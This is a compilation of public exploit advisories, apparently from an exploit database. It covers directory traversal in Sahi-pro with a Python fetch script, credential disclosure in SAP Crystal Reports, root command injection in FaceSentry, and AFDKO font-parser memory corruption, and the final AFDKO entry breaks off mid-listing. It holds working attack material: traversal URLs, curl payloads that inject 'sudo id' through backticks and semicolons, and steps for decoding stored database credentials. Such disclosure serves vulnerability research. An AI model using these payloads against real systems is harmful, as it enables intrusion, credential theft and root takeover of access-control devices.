An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.

POC -

http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt

This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system

POC tool -

import argparse, requests, os

#sahi_productkey = '/config/productkey.txt'
#root_dir = '../../../../../../'
#vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="

print("[x] Proof of concept tool to exploit the directory traversal and local file"
      " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")

print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")

parser = argparse.ArgumentParser()
parser.add_argument("--url",
                    help='Specify the vulnerable URL')

args = parser.parse_args()

response = requests.get(args.url)
file = open("output.txt", "w")
file.write(response.text)
file.close()
            
# Exploit Title: [Sensitive Information Disclosure in SAP Crystal Reports]
# Date: [2019-04-10]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=517899114]
# Version: [SAP Crystal Reports for Visual Studio, Version - 2010] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2019-0285]

POC:

1- Intercept the "Export" report http request

2- Copy the "__CRYSTALSTATE" + <crystal report user control> Viewer name parameter value. 

3- You will find a base64 value in "viewerstate" attribute. 

4- decode the value you will get database information such as: name, credentials, Internal Path disclosure and some debugging information.
            
FaceSentry Access Control System 6.4.8 Remote Command Injection


Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
                  Firmware 5.7.2 build 568 (Algorithm A14)
                  Firmware 5.7.0 build 539 (Algorithm A14)

Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.

Desc: FaceSentry suffers from an authenticated OS command
injection vulnerability using default credentials. This can
be exploited to inject and execute arbitrary shell commands
as the root user via the 'strInIP' and 'strInPort' parameters
(POST) in pingTest and tcpPortTest PHP scripts.

==============================================================
/pingTest.php:
--------------
8:  if (!isAuth('TestTools','R')){
9:      echo "No Permission";
10:     include("footer.php");
11:     exit;
12:  }
13:
14: if(isset($_POST["strInIP"])){
15:     $strInIP = $_POST["strInIP"];
16: }else{
17:     $strInIP = "";
18: }
19:
20: $strOperationResult = "";
21: if ($strInIP != ""){
22:
23:    $out = array();
24:    exec("sudo ping -c 4 $strInIP",$out);
25:    $result = "";
26:    foreach($out as $line){
27:        $result = $result.$line."<br>";
28:    }

--------------------------------------------------------------
/tcpPortTest.php:
-----------------
14: if (isset($_POST["strInIP"])){
15:     $strInIP = $_POST["strInIP"];
16: }else{
17:     $strInIP = "";
18: }
19: if (isset($_POST["strInPort"])){
20:     $strInPort = $_POST["strInPort"];
21: }else{
22:     $strInPort = "";
23: }
..
..
53: $strOperationResult = "";
54: if ($strInIP != "" and $strInPort != ""){
55:     $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10);
56:     system("date>>".TCP_PORT_TEST);
57:     if (!$fp) {
58:         $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)";
59:         system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST);
60:     } else {
61:         fclose($fp);
62:         $strOperationResult = getDisplay("TestTools.TCPPortTestSucces");
63:         system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST);
64:     }
65: }
==============================================================

Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
           Linux 3.4.113-sun8i (armv7l)
           PHP/7.0.30-0ubuntu0.16.04.1
           PHP/7.0.22-0ubuntu0.16.04.1
           lighttpd/1.4.35
           Armbian 5.38
           Sunxi Linux (sun8i generation)
           Orange Pi PC +


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5523
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php


28.05.2019

--


$ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \
       --data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \
       -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3'

$ curl http://192.168.11.1/garbage.txt
uid=0(root) gid=0(root) groups=0(root)


--------------------------------------------------------------------------------


$ curl -X POST 'http://192.168.11.1/pingTest.php' \
       --data 'strInIP=;sudo id' \
       -H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \
       |grep uid

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7726    0  7697  100    29  10180     38 --:--:-- --:--:-- --:--:-- 10181
<font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:

--- cut ---
    84      int cubeStackDepth;
    85      float transformMatrix[6];
    86      struct /* Stem hints */
    87      {
    88          float start_x;  /* Path x-coord at start of Cube library element processing */
    89          float start_y;  /* Path y-coord at start of Cube library element processing */
    90          float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
    91          float offset_y; /* cube offset, to add to first moveto in cube library element (LE)  */
    92          int nMasters;
    93          int leIndex;
    94          int composeOpCnt;
    95          float composeOpArray[TX_MAX_OP_STACK_CUBE];
    96          double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
    97      } cube[CUBE_LE_STACKDEPTH];
--- cut ---

The "cubeStackDepth" field is initially set to -1 in t2cParse():

--- cut ---
  2534      h.cubeStackDepth = -1;
--- cut ---

The value shouldn't be used as an index if it is negative. When the tx_compose operation handler increments it to 0 or a larger value, it also sets the START_COMPOSE flag in h->flags. Most functions check the flag before using cubeStackDepth, for example:

--- cut ---
   529  /* Callback path move. */
   530  static void callbackMove(t2cCtx h, float dx, float dy) {
   531      int flags;
   532      float x, y;
   533
   534      if (h->flags & START_COMPOSE) {
   535          /* We can tell that this is the first move-to of a flattened compare operator
   536             with the START_COMPOSE flag.
   537             dx and dy are the initial moveto values in the LE, usually 0 or a small value.
   538             h->x and h->y are the current absolute position of the last point in the last path.
   539             h->le_start.x,y are the LE absolute start position.
   540           */
   541          x = dx + h->cube[h->cubeStackDepth].offset_x;
   542          y = dy + h->cube[h->cubeStackDepth].offset_y;
   543          h->cube[h->cubeStackDepth].offset_x = 0;
   544          h->cube[h->cubeStackDepth].offset_y = 0;
--- cut ---

However, neither the do_set_weight_vector_cube() nor do_blend_cube() functions respect this requirement, and instead assume that cubeStackDepth is greater than 0 when they execute. Below are the first few lines of do_blend_cube():

--- cut ---
  1054  /* Execute "blend" op. Return 0 on success else error code. */
  1055  static int do_blend_cube(t2cCtx h, int nBlends) {
  1056      int i;
  1057      int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
  1058      int iBase = h->stack.cnt - nElements;
  1059      int k = iBase + nBlends;
  1060
  1061      if (h->cube[h->cubeStackDepth].nMasters <= 1)
  1062          return t2cErrInvalidWV;
--- cut ---

The two affected functions subsequently read from and write to the out-of-bounds cube object at h->cube[-1]. In x64 builds of AFDKO, _t2cCtx.cube[-1] overlaps with the _t2cCtx.stack.blendArgs[92] structure, which is uninitialized in typical scenarios, but may also be user-controlled. This may lead to disclosure of uninitialized stack memory, or stack-based memory corruption and remote code execution.

-----=====[ Proof of Concept ]=====-----

The two proof of concept files trigger crashes in the standard "tx" tool compiled with AddressSanitizer and a slightly modified version of the afdko/c/public/lib/source/t2cstr/t2cstr.c file. Our patch adds ASAN redzones in between the fields of the t2cCtx structure, in order to make intra-object out-of-bounds accesses more visible. The PoCs invoke the do_set_weight_vector_cube() and do_blend_cube() functions without first executing a tx_compose instruction. The offending instruction streams are found in the CharStrings for letter "A".

-----=====[ Crash logs ]=====-----

Below, we present crash logs from the 64-bit "tx" tool compiled with ASAN and the redzone patch, run as ./tx -cff <path to font file>.

For do_blend_cube.otf:

--- cut ---
=================================================================
==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8
READ of size 4 at 0x7ffea1a88890 thread T0
    #0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58
    #1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38
    #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #10 0x7fa93072e2b0 in __libc_start_main
    #11 0x41e5b9 in _start

Address 0x7ffea1a88890 is located in stack of thread T0 at offset 241616 in frame
    #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523

  This frame has 2 object(s):
    [32, 757896) 'h' (line 2524) <== Memory access at offset 241616 is inside this variable
    [758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 in do_blend_cube
Shadow bytes around the buggy address:
  0x1000543490c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000543490d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000543490e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000543490f0: f7 f7 00 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00
  0x100054349100: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 00 00 00 00
=>0x100054349110: f7 f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x100054349120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x100054349130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x100054349140: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x100054349150: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x100054349160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==96052==ABORTING
--- cut ---

Where the t2cstr.c:1057 line is:

--- cut ---
  1057      int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
--- cut ---

Furthermore, for do_set_weight_vector_cube.otf:

--- cut ---
=================================================================
==96231==ERROR: AddressSanitizer: use-after-poison on address 0x7ffe0355a7d8 at pc 0x00000069f2bb bp 0x7ffe0351b9d0 sp 0x7ffe0351b9c8
READ of size 4 at 0x7ffe0355a7d8 thread T0
    #0 0x69f2ba in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49
    #1 0x6858f1 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1883:38
    #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #10 0x7ffbfaea62b0 in __libc_start_main
    #11 0x41e5b9 in _start

Address 0x7ffe0355a7d8 is located in stack of thread T0 at offset 241624 in frame
    #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523

  This frame has 2 object(s):
    [32, 757896) 'h' (line 2524) <== Memory access at offset 241624 is inside this variable
    [758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 in do_set_weight_vector_cube
Shadow bytes around the buggy address:
  0x1000406a34a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a34b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a34c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a34d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 f7 f7 f7 f7 00
  0x1000406a34e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7
=>0x1000406a34f0: f7 f7 f7 00 00 00 00 00 f7 f7 f7[f7]f7 f7 f7 f7
  0x1000406a3500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a3510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a3520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a3530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000406a3540: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==96231==ABORTING
--- cut ---

Where the t2cstr.c:992 line is:

--- cut ---
   992      int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47087.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The vulnerability resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, whose prologue is shown below:

--- cut ---
   985  static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
   986      float dx, dy;
   987      int i = 0;
   988      int j = 0;
   989      int nMasters = 1 << nAxes;
   990      float NDV[kMaxCubeAxes];
   991      int popCnt = nAxes + 3;
   992      int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
   993      float *composeOps = h->cube[h->cubeStackDepth].composeOpArray;
--- cut ---

The "nAxes" argument may be controlled through the tx_SETWVN instruction:

--- cut ---
  1912                          case tx_SETWVN: {
  1913                              int numAxes = (int)POP();
  1914                              result = do_set_weight_vector_cube(h, numAxes);
  1915                              if (result || !(h->flags & FLATTEN_CUBE))
  1916                                  return result;
--- cut ---

Later in do_set_weight_vector_cube(), there is very little sanitization of "nAxes", and the function mostly assumes that the argument is valid. Setting it to a negative value will cause the following check to pass:

--- cut ---
  1022      if (composeCnt < (nAxes + 3))
  1023          return t2cErrStackUnderflow;
--- cut ---

which enables us to execute the rest of the function with "nMasters" equal to an arbitrary power of 2, and "popCnt" set to an arbitrary negative value. This may lead to stack-based out-of-bounds reads and writes in the following loops:

--- cut ---
  1028          /* Pop all the current COMPOSE args off the stack. */
  1029          for (i = popCnt; i < composeCnt; i++)
  1030              composeOps[i - popCnt] = composeOps[i];
[...]
  1039
  1040      /* Compute Weight Vector */
  1041      for (i = 0; i < nMasters; i++) {
  1042          h->cube[h->cubeStackDepth].WV[i] = 1;
  1043          for (j = 0; j < nAxes; j++)
  1044              h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
  1045      }
  1046      /* Pop all the current COMPOSE args off the stack. */
  1047      for (i = popCnt; i < composeCnt; i++)
  1048          composeOps[i - popCnt] = composeOps[i];
--- cut ---

-----=====[ Proof of Concept ]=====-----

The proof of concept file calls do_set_weight_vector_cube(nAxes=-100000), causing AFDKO to perform largely out-of-bounds read/writes operations relative to the stack, which results in a SIGSEGV / ACCESS_VIOLATION crash of the client program in line 1030:

--- cut ---
  1028          /* Pop all the current COMPOSE args off the stack. */
  1029          for (i = popCnt; i < composeCnt; i++)
  1030              composeOps[i - popCnt] = composeOps[i];
--- cut ---

-----=====[ Crash logs ]=====-----

Crash log of the "tx" 64-bit utility started as ./tx -cff <path to font file>:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
1030                composeOps[i - popCnt] = composeOps[i];
(gdb) where
#0  0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
#1  0x0000000000460f3f in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1914
#2  0x000000000045e224 in t2Decode (h=0x7ffffff60188, offset=23565) at ../../../../../source/t2cstr/t2cstr.c:1412
#3  0x000000000045cb26 in t2cParse (offset=23565, endOffset=23574, aux=0x7156e8, gid=2, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
    at ../../../../../source/t2cstr/t2cstr.c:2591
#4  0x000000000041371f in readGlyph (h=0x710380, gid=2, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
#5  0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
#6  0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#7  0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:429
#8  0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf")
    at ../../../../source/tx.c:488
#9  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#10 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb) print i
$1 = -99997
(gdb) print popCnt
$2 = -99997
(gdb) print composeCnt
$3 = 4
(gdb)
--- cut ---

Crash log from the Microsoft Edge renderer process:

--- cut ---
(4378.f50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!do_set_weight_vector_cube+0x16a:
00007ff9`e87c0d82 8b01            mov     eax,dword ptr [rcx] ds:0000000b`2decf988=????????

0:038> u
DWrite!do_set_weight_vector_cube+0x16a:
00007ff9`e87c0d82 8b01            mov     eax,dword ptr [rcx]
00007ff9`e87c0d84 890491          mov     dword ptr [rcx+rdx*4],eax
00007ff9`e87c0d87 488d4904        lea     rcx,[rcx+4]
00007ff9`e87c0d8b 4883ef01        sub     rdi,1
00007ff9`e87c0d8f 75f1            jne     DWrite!do_set_weight_vector_cube+0x16a (00007ff9`e87c0d82)
00007ff9`e87c0d91 e900010000      jmp     DWrite!do_set_weight_vector_cube+0x27e (00007ff9`e87c0e96)
00007ff9`e87c0d96 33d2            xor     edx,edx
00007ff9`e87c0d98 4d8bd0          mov     r10,r8

0:038> ? rsp
Evaluate expression: 48015521648 = 0000000b`2df2b770

0:038> !teb
TEB at 0000000b2b0ae000
    ExceptionList:        0000000000000000
    StackBase:            0000000b2df40000
    StackLimit:           0000000b2df2a000
[...]

0:038> k
 # Child-SP          RetAddr           Call Site
00 0000000b`2df2b770 00007ff9`e87c2b1f DWrite!do_set_weight_vector_cube+0x16a
01 0000000b`2df2b800 00007ff9`e87c186e DWrite!t2Decode+0x15ab
02 0000000b`2df2b940 00007ff9`e87c4a62 DWrite!t2Decode+0x2fa
03 0000000b`2df2ba80 00007ff9`e87ac103 DWrite!t2cParse+0x28e
04 0000000b`2df3b3e0 00007ff9`e87ae3f7 DWrite!readGlyph+0x12b
05 0000000b`2df3b450 00007ff9`e87a2272 DWrite!cfrIterateGlyphs+0x37
06 0000000b`2df3b4a0 00007ff9`e873157a DWrite!AdobeCFF2Snapshot+0x19a
07 0000000b`2df3b9a0 00007ff9`e8730729 DWrite!FontInstancer::InstanceCffTable+0x212
08 0000000b`2df3bb80 00007ff9`e873039a DWrite!FontInstancer::CreateInstanceInternal+0x249
09 0000000b`2df3bda0 00007ff9`e8715a4e DWrite!FontInstancer::CreateInstance+0x192
0a 0000000b`2df3c100 00007ff9`f2df61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0b 0000000b`2df3c190 00007ff9`f2de9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0c 0000000b`2df3c2b0 00007ff9`cd7750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0d 0000000b`2df3c300 00007ff9`cd74fcb0 edgehtml!CDXPrintControl::Close+0x44
0e 0000000b`2df3c350 00007ff9`cd7547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0f 0000000b`2df3c380 00007ff9`cd62b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
10 0000000b`2df3c3b0 00007ff9`cd289175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
11 0000000b`2df3c3f0 00007ff9`cf5368f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47088.zip
            
----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:

--- cut ---
    84      int cubeStackDepth;
    85      float transformMatrix[6];
    86      struct /* Stem hints */
    87      {
    88          float start_x;  /* Path x-coord at start of Cube library element processing */
    89          float start_y;  /* Path y-coord at start of Cube library element processing */
    90          float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
    91          float offset_y; /* cube offset, to add to first moveto in cube library element (LE)  */
    92          int nMasters;
    93          int leIndex;
    94          int composeOpCnt;
